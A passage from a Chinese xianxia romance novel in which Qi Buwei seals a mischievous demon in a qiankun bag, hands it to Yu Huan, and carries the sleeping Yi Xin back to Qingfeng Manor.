说到中途,她在祁不为黑沉的目光里息了声,只见他抱起易辛,头也不回地走了。
反应过来后,白三清瞠目结舌。这大魔头抓人来了!是他把易辛弄晕的!
“哎你——”话还没说完,她便感到一阵吸力,眼睁睁看自己被吸进了乾坤袋里。
少顷,密林中又有一人御剑而来。
余桓一边落地一边环顾四周:“祁公子,你说这里有妖怪,哪呢……?”
看到他怀里昏迷的易辛,余桓惊道:“易辛怎么了?遇上妖怪了?”
话落,一只乾坤袋悬在余桓身前,祁不为面无表情道:“这头妖怪十分顽劣,你要好好教导,引她走向正道。”
余桓一听,连推卸也没有便接住了那只乾坤袋,只见袋子拱来拱去,不由道:“这妖被收了还不伏诛,确实顽劣。”
祁不为点点头:“清风山比望天谷好看多了,有空来坐坐。”
余桓明白这是邀请好意,笑着拱手:“改日一定去。”
两人各自颔首致意,就此别过。
芙蓉镇外的某处路口。
祁有为和易张稚正候在此处。封印之地里,易张稚受了些伤,便同她一道回清风山庄休整。
临行前,祁不为让他们等在路口,说易辛想去一个地方,他陪着一起,很快回来。
果然,没等多久,祁有为便远远看见人来了。
只是等走进了,她才发现易辛正趴在祁不为背上,看起来好像睡过去了。
不等发问,祁不为便主动解释道:“玩累了。我们动身吧,早点回山庄,早点休息。”
“好。”她没多想,同众人一起御剑离开。
易辛趴在祁不为背上,周身流云迢迢,月麟香随风送入鼻尖,虽昏迷不醒,但她还是呢喃了一句:“祁不为……”
云烟滚滚中,这道声音极其细微,但祁不为仍然听到了。他略一偏头,眉目不动,易辛细碎的发梢撩过他下颔和脖子。
稍后,他应了一声:“嗯。”